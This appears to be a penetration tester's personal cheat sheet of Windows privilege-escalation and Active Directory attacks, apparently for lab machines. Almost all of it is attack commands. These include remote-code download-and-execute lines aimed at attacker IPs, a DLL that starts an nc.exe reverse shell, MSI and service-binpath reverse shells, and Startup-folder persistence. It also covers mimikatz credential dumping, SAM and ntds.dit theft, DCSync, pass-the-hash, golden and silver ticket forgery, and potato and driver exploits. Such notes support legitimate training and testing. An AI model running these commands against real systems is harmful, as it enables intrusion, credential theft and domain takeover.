Windows PrivEsc

Manual PrivEsc:

• whoami
• whoami /all
• whoami /priv
• whoami /groups
• net user <username>
• Get info about a specific user

• Google the last installed "hotfix + exploit"
• Sherlock - predecessor to Watson
• Watson
• wes-ng

• Look for interesting files
• C:\Users\*
• C:\Program Files\
• C:\Program Files (x86)\

• Autologin
• get-item -path "HKLM:\software\microsoft\windows nt\currentversion\winlogon"
• reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
• Group Policy (GPP) passwords
• C:\Windows\Panther\unattend.xml

• https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/
• HTB: Access

cmdkey /list

Currently stored credentials:
                        
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
                            
runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.77/shell.ps1')"

• tasklist /V
• Most application exploits are the same as other misconfigurations (weak folder configurations, unquoted service paths, etc)

• netstat -an
• Ports listening on local host
• Ones not listed during nmap scan/firewalled

• List applications that are installed by the Windows Installer
• wmic product get name, version, vendor

• AllAccess, Start
• Change binpath

• Important if we can reboot the box

• SeLoadDriverPrivilege
• SeImpersonatePrivilege
• SeImpersonatePrivilege
• SeAssignPrimaryPrivilege
• SeTcbPrivilege
• SeBackupPrivilege
• https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
• SeRestorePrivilege
• SeCreateTokenPrivilege
• SeLoadDriverPrivilege
• SeTakeOwnershipPrivilege
• SeDebugPrivilege


• Article on exploiting privileges: https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/

• HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
• reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
• HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
• reg query HKLM\software\policies\microsoft\windows\installer /v alwaysinstallelevated
• Create msi reverse shell and execute it
• msiexec /qn /i shell.msi

• Inside application open file: file://c:/windows/system32/cmd.exe
• Might get admin command prompt

• Enumerate drivers
• driverquery /v
• Powershell - driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object‘DisplayName’, ‘Start Mode’, Path
• Enumerate Driver Versions
• Powershell - Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName,DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

• reg query HKLM /f password /t REG_SZ /s
• reg query HKCU /f password /t REG_SZ /s
• reg query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
• reg query "HKCU\software\simontatham\putty\sessions" /s
• reg query HKLM\System\ControlSet001\Control\CurrentPass
• reg query HKLM\System\ControlSet002\Control\CurrentPass
• HKLM\System\CurrentControlSet\Control\CurrentPass

• schtasks /query /fo LIST /v

• run commands as mysql user
• raptor_winudf
• Search for creds

• Powershell
• psexec
• winrm
• wmiexec
• pth-winexe

• ASREPRoast
• If there are users without kerberos pre-auth required.
• Kerberoast
• If able to authenticate as a user.

PrivEsc Tools

• IEX(New-Object Net.WebClient).downloadString('http://<ip address>/PowerUp.ps1')
• Invoke-AllChecks

• wesng.py /systeminfo.txt -i 'Elevation of Privilege' --exploits-only

• Use against DC
• Clone repo for most up-to-date version
• Usage instructions:
• Start neo4j on Kali
• run: neo4j console
• Default credentials - neo4j:neo4j
• Run collector/ingestor on victim AD DC machine
• Locally with .\Sharphound.exe -c all
• Remotely using python: sudo python3 bloodhound.py -c all -u <user> -p '<password>' -ns <ip> -d <domain name> --zip
• Start bloodhound on Kali
• sudo ./Bloodhound --no-sandbox
• Drag and drop file generated by sharphound into Bloodhound window
• On top left where it says "Search for a node" enter the username that is being used on the victim machine
• right click icon in center with pwned victim machine user and "Mark User as Owned"
• Things to check under Queries/Analysis tab
• Shortest Paths from Kerberoastable Users
• Shortest path from Owned principles
• Shortest path to High Value Targets
• Can right click on account associations and select "Help" and it will give info how an AD association can be abused

• Common C# offensive tools that are checked for updates daily, and then compiled

cmd Commands

Powershell Commands

$WScript = New-Object -ComObject WScript.Shell
$SC = Get-ChildItem *.lnk
$WScript.CreateShortcut($sc)

File Transfers

<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>

Startup Apps

• C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
• C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
• Directory
• if we have access, we can add a reverseShell.exe, and when admin logs in we will get a admin priv reverse shell.
• Check access to directory with accesschk.exe:
• accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
• files in StartUp directory must be shortcuts (.lnk)
• VBScript to create a shortcut file:

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
            

• cmd "cscript CreateShortCut.vbs"

Prilivege Abuse

• Works up until sometime in 2019.
• Patched on latest Windows 10.

• JuicyPotato.exe -l 1337 -p <program> -t * -c <{CLSID}>

• More advanced and complicated than previous potato exploits.
• Instructions
• Listener on Kali: sudo socat tcp-listen:135,reuseaddr,fork tcp:<Victim ip address>:9999
• On victim Windows machine: RoguePotato.exe -r 10.0.0.5 -l 9999 -e "C:\windows\system32\cmd.exe"

• Targets print spooler service
• Does not require any port forwarding like potato exploits.
• The entire exploit runs on the target machine.
• Requires C++ redistributable is installed.
• PrintSpoofer.exe -i -c "C:\reverse\shell.exe"

• Potato Exploits (SeImpersonatePrivilege)

• Download these files:
• Capcom.sys from fuzzysecurity
• https://github.com/TarlogicSecurity/EoPLoadDriver/
• eoploaddriver.cpp
• Exploitcapcom from github
• Compile EoPLoadDriver in visual studio
• Create a new project
• Console app
• Name it LoadDriver
• Open LoadDriver.cpp
• Replace all contents with contents from eoploaddriver.cpp
• Select "Release" and "x64"
• Build --> Rebuild Solution. LoadDriver.exe should be created.
• Compile ExploitCapCom
• File --> Open -- Project/Solution
• Select Exploit Capcom
• Set "Release" and "x64"
• Rebuild solution
• ExploitCapCom.exe should be created
• Transfer ExploitCapCom.exe, LoadDriver.exe, and capcom.sys to victim machine
• LoadDriver.exe System\CurrentControlSet\MyService C:\<path to capcom.sys>
• .\ExploitCapCom.exe
• Should have system shell.

• Grants read access to all objects on the system regardless of ACL
• Read sensitive files
• Extract hashes
• Pass-the-hash
• Crack them
• Backup ntds file to SMB server

Create NTFS share on attacker	Create 2gb NTFS folder called ntfs.disk dd if=/dev/zero of=ntfs.disk bs=1024M count=2 Create loopback setup sudo losetup -fP ntfs.disk Check losetup losetup -a Create NTFS disk sudo mkfs.ntfs /dev/loop0 Mount NTFS disk to a folder sudo mount /dev/loop0 ./smb Edit SMB to setup SMB share sudo vi /etc/samba/smb.conf [shared] comment = <anything> browseable = yes path = <local path to SMB share> read only = no guest = yes Start smb share sudo systemctl restart smbd
Backup ntds file from victim	echo y | wbadmin start backup -backuptarget:\\<ip address>\share -include:C:\windows\ntds\
extract contents of .vhdx on victim (using attacker SMB share)	echo y | wbadmin start recovery -version:<version> -itemtype:file -items:C:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl Get version victim: "wbadmin get versions" Version identified:<version> ntds.dit should be in C:\

• Grants write access to all objects on the system regardless of ACL
• Modify service binaries
• Overwrite DLLs used by SYSTEM processes
• Modify registry settings

• Lets the owner take ownership over an object
• Same as SeRestorePrivilege after taking ownership of files

Always Install Elevated

• HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
• reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
• HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
• reg query HKLM\software\policies\microsoft\windows\installer /v alwaysinstallelevated
• Create msi reverse shell and execute it
• msiexec /qn /i shell.msi

Autorun Applications

• reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
• check for write to file permissions
• accesschk.exe /accepteula -quvw <user> <service>

Insecure File Permissions

• Accesschk.exe -uws "Everyone" "C:\Program Files"
• Powershell.exe "Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}"

• Look for files like Unattend.xml which might contain credentials
• Search for files with pass in the name or ending in .config
• dir /s *pass* == *.config

• findstr /si password *.xml *.ini *.txt

Insecure Services

• winPEAS

Check for service vulnerabilities

winPEASany.exe quiet servicesinfo

• sc.exe

Start/Stop a service	sc.exe start/stop <service name>
Query the configuration of a service	sc.exe qc <name>
Query the current status of a service	sc.exe query <name>
Modify a configuration option of a service	sc.exe config <name> <option>= <value>
Change service start type	sc config <Service Name> start= auto
Change binary path	sc config <name> binpath= "\"C:\path\to\reverse_shell\""

• accesschk.exe

Check for services we have rights/privileges to	accesschk.exe /accepteula -uwcqv "Authenticated Users" *
More details on user groups rights/privileges to a service	accesschk.exe /accepteula -ucqv <Service Name>
verify user permissions to a service	accesschk.exe /accepteula -ucqv <username> <service>
Check for permissions to write in a directory	accesschk.exe /accepteula -uwdq C:\directory
Check for access to insecure executables	accesschk.exe /accepteula -quvw <Executable>

• net

Start/Stop a service

net start/stop <name>

• wmic

Check service start options	wmic service where caption="<ServiceName>" get name, caption, state, startmode
Check running services	wmic service get name,displayname,pathname,startmode
Get running services that are auto and not standard windows	wmic service get name,displayname,pathname,startmode |findstr /i "auto"|findstr /i /v "c:\windows"

• powershell

List running services	Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
Start service	Start-Service <service>

• cmd

List running services

tasklist

• icacls

Check directory permissions	icacls "C:\<Directory>"
Check for access to insecure executable	Icacls "<Executable>"

• Change binary path
• sc config <name> binpath= "\"C:\reverse_shell.exe""
• sc.exe config usosvc binpath="cmd.exe /c powershell.exe -EncodedCommand <base64>

• Try to raplce a path location to a reverse shell executable
• Example
• C:\Program Files\Unquoted Path Service\Common Files\originalservice.exe
• windows would try to execute "Program" first, then "Unquoted", then "Common", and finally "originalservice.exe"
• If we can create a reverse shell named "Program.exe", "Unquoted.exe", etc, we can get reverse shell

• INTERACTIVE group includes all users that can login locally

• If able, replace original service executable with our own.

• Enumerate non-windows services to see which one we are able to start/stop
• Analyze the service executable using procmon and implement a malicious .dll file:
• Download executable
• Open procmon
• Stop and clear capture
• Push ctrl + L - drop down menu for "Process Name" - enter process name - push add & OK
• Deselect "show registry activity" & "show network activity"
• Start capture
• Look for dll's that are attempted to be executed but do not exist. Put a reverse shell .dll in that directory
• Start the vulnerable service

Scheduled Tasks

• Administrator can set tasks to run as other users.

• Schtasks /query /fo LIST /v
• Get-ScheduledTask| where {$_.TaskPath-notlike"\Microsoft*"} | ft TaskName,TaskPath,State

Bypass UAC

• UAC bypass required if shell is giving adiministrator access denied

• ncat does not work.
• Use a metasploit shell and attach to explorer or another process with a 1 (for interactive) in the 'ps' list (seen after getting a metasploit shell).

• https://github.com/hfiref0x/UACME
• net use x: \\127.0.0.1\c$

• https://devblogs.microsoft.com/oldnewthing/20160816-00/?p=94105

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved)
{
        switch(dwReason)
        {
                case DLL_PROCESS_ATTACH:
                        WinExec("C:\\Users\\batman\\nc.exe 10.10.14.141 7777 -e powershell", 0);
                        break;
                case DLL_PROCESS_DETACH:
                        break;
                case DLL_THREAD_ATTACH:
                        break;
                case DLL_THREAD_DETACH:
                        break;
        }

        return 0;
}

/* i686-w64-mingw32-g++ main.c -lws2_32 -o srrstr.dll -shared */

• reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
• EnableLUA
• 0 = UAC enabled, no bypass needed, can PsExec to SYSTEM
• 1 = UAC disabled, need to check the other 2 keys
• ConsentPromptBehaviorAdmin
• Can take on 6 different values
• PromptOnSecureDesktop
• Either 1 or 0
• If ConsentPromptBehaviorAdmin=2 & PromptOnSecureDesktop=1 then UAC bypass will not work
• If ConsentPromptBehaviorAdmin=5 & PromptOnSecureDesktop=1 then UAC bypass will work

• Works on Windows 7, 8, and 10. Does not work on Vista
• Guide: https://ivanitlearning.wordpress.com/2019/07/07/bypassing-default-uac-settings-manually/
• Exploit in C (requires minimal editing) - https://github.com/turbo/zero2hero

• bypassuac-x86.exe & bypassuac-x64.exe
• Same limitations as eventvwr.exe UAC bypass
• bypassuac-x**.exe /c C:\directory\to\shell4444.exe

Finding Logged in Users

• Individual Workstation
• NetWkstaUserEnum
• Requires admin privileges
• Powerview.ps1
• Get-NetLoggedon –ComputerName <workstation name>
• Domain Enumeration
• NetSessionEnum
• Enumerate active sessions on domain joined machines
• Does not require admin privileges
• Use against file servers and domain controllers
• Powerview.ps1
• Get-NetSession
• Get-NetSession –ComputerName <domain controller or server – ex. dc01>

Cached Credentials

cmdkey /list

Currently stored credentials:
                        
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
                            
runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.77/shell.ps1')"

• https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/
• HTB: Access

Security Identifier (SID)

• There is a separate one for each account that is used for elevated privileges (UAC)

• Admin always ends in 500
• Guest always ends in 501
• S-1-5-19 is the LocalSystem account

Dump Proccess

• Check memory of user processes for passwords. By defalt checks IE, Chrome, and Firefox for POST requests to well known websites.

Dump Hashes

• Username:#:LM HASH:NTLM HASH:::

• C:\Windows\System32\config\
• Backup Locations
• C:\Windows\System32\config\RegBack
• C:\Windows\Repair
• reg save HKLM\<file> <Out file>
• reg save HKLM\SAM C:\SAM
• reg save HKLM\SECURITY C:\SECURITY
• reg save HKLM\SYSTEM C:\SYSTEM

• Dump ntds.dit
• vssadmin create shadow /for=C:
• copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
• copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

• Extracts hashes from the Local Security Authority Subsystem (LSASS)
• Dump creds/hashes
• Summary
• privilege::debug
• token::elevate
• lsadump::sam
• sekurlsa::logonpasswords
• Explained/Detailed
• Mimikatz must be launched from an administrative command prompts
• Must first execute two commands:
• privilege::debug – enables SeDebugPrivilege
• If fails, mimikatz was most likely not executed with admin privileges
• token::elevate
• Elevates mimikatz security token from administrator to SYSTEM
• If mimikatz is launched from a SYSTEM shell, this step can be skipped
• Dump SAM contents (Security Account Manager)
• lsadump::sam
• Dump NTLM hash
• sekurlsa::logonpasswords
• This will dump the credentials of all users currently logged into the workstation or server.
• Includes remote logins like RDP sessions
• If WDigest is enabled Mimikatz will reveal cleartext passwords alongside hashes (Windows 7)
• ERROR kuhl_m_sekurlsa_acquireLSA; Key import
• Newer Windows update makes it so mimikatz versions 2.2.0 and newer do not work. Must use an older version of mimikatz.
• https://gitlab.com/kalilinux/packages/mimikatz/-/tree/d72fc2cca1df23f60f81bc141095f65a131fd099/

• Dump hashes locally
• impacket-secretsdump -sam <SAM file> -security <SECURITY file> [-system <SYSTEM file>] LOCAL

Active Directory

• NTLM
• Used when clients authenticate to a server by IP (instead of hostname) or if a user attempts to authenticate to a hostname that is not registered on the AD DNS server. 3rd party applications can also choose NTLM instead of Kerberos.
• NTLM hashes can be cracked very quickly
• Kerberos

• Database stored on DC that contains all active directory information including password hashes for all users in the domain
• C:\windows\ntds\
• Can use SYSTEM file to decrypt the ntds.dit and extract all the information from it
• impacket-secretsdump -ntds <ntds.dit file> -system <SYSTEM file> [-security <SECURITY file>] LOCAL
• Additional Useful flags:

-pwd-last-set	If user has multiple accounts and changes password in same timeframe then likey all passwords are the same
-user-status	Tells if the account is disabled or not
-history	Windows will show the last 24 used passwords for each user

• Grep the ntds dump
• grep -v 'aes[12]\|des-cbc
• grep -v history0

• kerbrute
• pre-auth attack tool. Will validate user existence.
• Can lock out users but will not generate 4625 event code which is logged by default. The event code it does generate is not logged by default.
• kerberute userenum --dc apt -d <domain> <user list>

• Mimikatz/manual

Purge all current tickets	kerberos::purge
Enumerate SPNs	GetUserSPNs.ps1
Request security token for SPN	Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '<SPN - Example:HTTP/CorpWebServer.corp.com>'
export TGS ticket	kereberos::list /export or PS > klist
Turn output into hashcat hash	kirbi2hashcat

• Rubeus
• .\r.exe kerberoast /creduser:domain\<user> /credpassword:<password>
• impacket-GetUserSPNs
• impacket-GetUserSPNs -dc-ip <dc ip> <domain name>/<user to request ticket as>:<password> -request-user <kerberoastable user>
• GetUserSPNs.py if port 88 is inaccessible from kali machine

Forward port 88 & 389 to Kali	chisel.exe client 10.10.14.4:8008 R:88:127.0.0.1:88 R:389:localhost:389
Get hash for kerberoastable users	GetUserSPNs.py -request -dc-ip 127.0.0.1 <domain>/<user>

• Retrieve all domain password data via domain replication protocols.
• Tools/Methods
• Impacket-SecretsDump '<username>:<password>@<ip address>'
• Attack remotely. Generates network traffic. Does not have to deal with AV or other problems on victim machine.
• .\Mimikatz.exe 'lsadump::dcsync /domain:<domain name> /user:administrator' exit
• Attack locally. Reduced network traffic.

• crackmapexec winrm/smb -u <username> -p <password> or -H <hash>
• SMB brute forcing can be detected and banned by some AD setups

• Check clock skew
• nmap
• sudo nmap -p445 -sV -sC <ip address>
• Look for clock-skew: mean: <value> deviation: <clock skew time> median: <value>
• ntpdate -q <server ip>
• Check local time (on Kali)
• date
• Change local time (on Kali)
• date -s <Time>
• <Time> Format
• HH:MM:SS
• ntpdate <server ip>

• crackmapexec smb <ip>

Credential Usage

Overpass the Hash

• Retrieve NTLM hash for user
• Mimikatz
• Privilege::debug
• Sekurlsa::logonpasswords
• Authenticate with NTLM hash – Powershell session under context of other user
• Mimikatz
• Sekurlsa::pth /user:<username> /domain:<domain – ex. Corp.com> /ntlm:<NTLM hash> /run:powershell.exe
• Generate TGT by authenticating to a network share on DC – can use any command that requires domain permissions
• Net use \\<Domain Controller – ex. dc01>
• Check for cached Kerberos ticket
• Klist
• Run PsExec inside powershell session that is running under context of other user
• .\PsExec.exe \\<domain controller – ex. dc01> cmd.exe

Silver Ticket

• Get domain SID
• Whoami /user
• SID is everything except the last section of digits
• mimikatz
• Get rid of pre-existing kerberos tickets
• Kerberos::purge
• Verify Kerberos tickets are purged
• Kerberos::list
• Forge silver ticket
• Kerberos::golden /user:<username> /domain:<domain ex. corp.com> /sid:<domain SID – whoami /user SID except last section of #'s> target:<fully qualified host name of service – ex. CorpWebServer.corp.com> /service:<service type – ex. HTTP> /rc4:<service account hash> /ppt (inject into memory)
• Rc4/hash section requires knowledge of service account password. If password is known, we can hash it.
• Verify ticket has been created
• Kerberos::list

Golden Ticket

• Get krbtgt hash
• impacket-SecretsDump
• Get domain SID
• On Windows
• PS > Get-ADDomain <Domain>
• impacket-ticketer
• impacket-ticketer -nthash <krbtgt ntlm hash> -domain-sid <domain sid> -domain <Domain Name> <Username>
• export KRB5CCNAME=<output .cache file from impacket-ticketer command>
• psexec <domain>/<username>@<ip address> -k -no-pass
• Try adding domain names to /etc/host file before running
• Try DNS names instead of ip address in command
• psexec will always login as SYSTEM
• switch to wmiexec to login as Administrator instead of SYSTEM

• Get domain SID & krbtgt hash
• mimikatz: privilege::debug
• mimikatz: lsadump::lsa /patch
• Purge kerberos tickets
• mimikatz: kerberos::purge
• Create golden ticket
• mimikatz: kerberos::golden /user:fakeuser /domain:corp.com /sid:s-1-5-<sid> /krbtgt:<krbtgt hash /ptt>
• Launch new command prompt
• misc::cmd
• Attempt lateral movement with psexec
• Psexec.exe \\<domain controller> cmd.exe

Read GMSA Password

• If 'CurrentPassword' shows a bunch of gibberish, then the password is 256 bytes of psuedorandom data interpreted as 128 UTF-16 characters.

Setup Linux as a Router

• Usage example: Find a Windows application on the victim that communicates with a port on a victim machine. Run that program from an attacking Windows host but route the traffic through Kali.

• sudo sysctl -a | grep ip_for
• net.ipv4.ip_forward = 1 = enabled
• if net.ipv4.ip_forward = 0
• sudo echo 1 > /proc/sys/net/ipv4/ip_forward

Convert vbs file to one line